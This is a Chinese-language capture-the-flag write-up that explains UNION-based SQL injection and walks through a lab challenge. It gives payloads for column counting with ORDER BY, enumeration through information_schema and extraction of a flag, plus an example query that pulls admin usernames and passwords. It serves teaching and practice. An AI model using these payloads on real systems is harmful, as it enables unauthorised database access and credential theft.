背景

在SQL注入攻击中,联合注入利用了SQL的UNION操作符,将查询结果与原始查询结果合并,从而获取敏感信息。

在进行联合注入时,首先需要确定原始SQL查询返回的列数。这通常可以通过添加ORDER BY子句并逐渐增加列数来实现。当列数超过实际值时,数据库将返回错误。

一旦确定了列数,就可以构造UNION查询。这个查询需要包含与原始查询相同数量的列,并且每列的数据类型也需要匹配。通常会在这个查询中包含从其他表中获取的敏感信息,例如用户的用户名和密码。

例如,如果原始查询是

SELECT username, password FROM users WHERE id = $id 

可以提交如下的$id:

1 UNION SELECT username, password FROM admin

这将导致数据库执行如下的查询:

SELECT username, password FROM users WHERE id = 1 UNION SELECT username, password FROM admin

这个查询将返回用户表中id为1的用户的用户名和密码,以及管理员表中所有用户的用户名和密码。

思路

  1. 按提示输入 221103 ,得到

    http://ctf.seek2.top:32832/result.php?id=221103

    ID:221103
    Name:Sonder
    Advantage:flag in CSSEC.union_injection

​ 说明 id 是注入点, 且 flag 在数据库 CSSEC 的 union_injection 表中,

  1. 输入 221103 and 1=1,判断注入类型,得到

    http://ctf.seek2.top:32832/result.php?id=221103 and 1=1

    ID:221103
    Name:Sonder
    Advantage:flag in CSSEC.union_injection

    说明是数字型注入

  2. 判断数据表列数

    221103 order by 2 查询成功
    221103 order by 3 查询成功
    221103 order by 4 查询成功
    221103 order by 5 Unknown column '5' in 'order clause'

    判断数据表列数为 4

  3. 判断数据库

    -1 union select 1,2,database(),4

    ID:1
    Name:2
    Advantage:CSSEC

    说明数据库名为 CSSEC

  4. 判断数据表

    -1 union select 1,2, group_concat(table_name),4 from information_schema.tables where table_schema=database()

    ID:1
    Name:2
    Advantage:member,platform,union_injection,vulnerability

    找到目标数据表 union_injection

  5. 判断列名

    -1 union select 1,2, group_concat(column_name),4 from information_schema.columns where table_schema=database() and table_name='union_injection'

    ID:1
    Name:2
    Advantage:flag

    只有一个 flag 列

  6. 得到数据

    -1 union select 1,2, group_concat(flag),4 from union_injection

    ID:1
    Name:2
    Advantage:flag{4a909cf2-dc8e-47d6-a14d-10eaf6347da0}

关于联合注入的学习可以参考:https://www.yuque.com/shiyizhesonder/sonder39/odx8gilog2lhkc6n